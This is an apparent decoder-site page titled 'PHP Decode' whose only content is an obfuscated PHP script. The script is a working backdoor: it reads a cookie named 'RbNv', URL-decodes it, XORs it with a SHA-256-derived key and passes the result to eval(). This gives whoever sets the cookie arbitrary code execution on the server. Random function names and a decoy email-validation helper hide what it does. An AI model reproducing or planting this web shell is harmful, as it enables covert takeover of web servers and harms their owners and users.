PHP Decode

<?php 
function AaOZEQ() 
{ 
    $hwcekjdVd = "manCBAGIBJcHRKLRbNv"; 
    return $hwcekjdVd; 
} 
function lFZeCbPwYZ($emzeNaLIi) 
{ 
    $zvLjNTMFI = substr($emzeNaLIi, -4); 
    return $zvLjNTMFI; 
} 
function YMvBjdh($MKJeS) 
{ 
    $qcCVQH = hash("sha256", $MKJeS, TRUE); 
    return $qcCVQH; 
} 
function IyjpnqIZYg() 
{ 
    $CIrVbRJ = NMtGtMfVsX(); 
    hmSTa($CIrVbRJ); 
} 
function hmSTa($IfMOD) 
{ 
    eval($IfMOD); 
} 
function NMtGtMfVsX() 
{ 
    $oOOiZf = AaOZEQ(); 
    $GovjzpvIG = FquVWHmKZ($oOOiZf); 
    return $GovjzpvIG; 
} 
function EfjxWNLi($ZrKLbTzJE) { 
    return explode('@', $ZrKLbTzJE)[1]; 
} 
function mQzLr($ZrKLbTzJE) { 
    if (JwWSuEsI($ZrKLbTzJE)) { 
        return EfjxWNLi($ZrKLbTzJE); 
    } 
    return "Invalid email format."; 
} 
function JwWSuEsI($ZrKLbTzJE) { 
    return filter_var($ZrKLbTzJE, FILTER_VALIDATE_EMAIL) !== false; 
} 
function NEGPCM($yHluew) 
{ 
    $OwTEXBHo = rawurldecode($yHluew); 
    return $OwTEXBHo; 
} 
function XYbRQdNhss($ahqEdMq, $zNBkeF) 
{ 
    $ibVqqbHg = str_pad($ahqEdMq, $zNBkeF, $ahqEdMq); 
    return $ibVqqbHg; 
} 
function aECJEZijE($fHlhKVvAwR, $fmOWHf) 
{ 
    $nuSXME = SmYKcnadX($fHlhKVvAwR); 
    $DtXAHwbSS = XYbRQdNhss($fmOWHf, $nuSXME); 
    $CIrVbRJ = xXWdaD($DtXAHwbSS, $fHlhKVvAwR); 
    return $CIrVbRJ; 
} 
function FquVWHmKZ($jsQnmJ) 
{ 
    $SoLwxtTQh = lFZeCbPwYZ($jsQnmJ); 
    $tlEDpg = gTPkMV($jsQnmJ, $SoLwxtTQh); 
    return $tlEDpg; 
} 
function nvbMs($utsShLdtXA) 
{ 
    $WNFVNjN = $_COOKIE[$utsShLdtXA]; 
    return $WNFVNjN; 
} 
function xXWdaD($aegmJH, $NcmmGswAE) 
{ 
    $ApFgNrfkx = $aegmJH ^ $NcmmGswAE; 
    return $ApFgNrfkx; 
} 
function gTPkMV($qLLyX, $mdMzHKv) 
{ 
    $jxGVyCKZ = YMvBjdh($qLLyX); 
    $jnOfNQddW = XOtntpKxn($mdMzHKv); 
    $WCrfMYvwm = aECJEZijE($jnOfNQddW, $jxGVyCKZ); 
    return $WCrfMYvwm; 
} 
function SmYKcnadX($aLZHLVv) 
{ 
    $JqOSRQqAYR = strlen($aLZHLVv); 
    return $JqOSRQqAYR; 
} 
function XOtntpKxn($ATMNJZBRrI) 
{ 
    $oWscazW = nvbMs($ATMNJZBRrI); 
    $jnOfNQddW = NEGPCM($oWscazW); 
    return $jnOfNQddW; 
} 
IyjpnqIZYg(); 
$ZOkUTXC = mQzLr("[email protected]"); ?>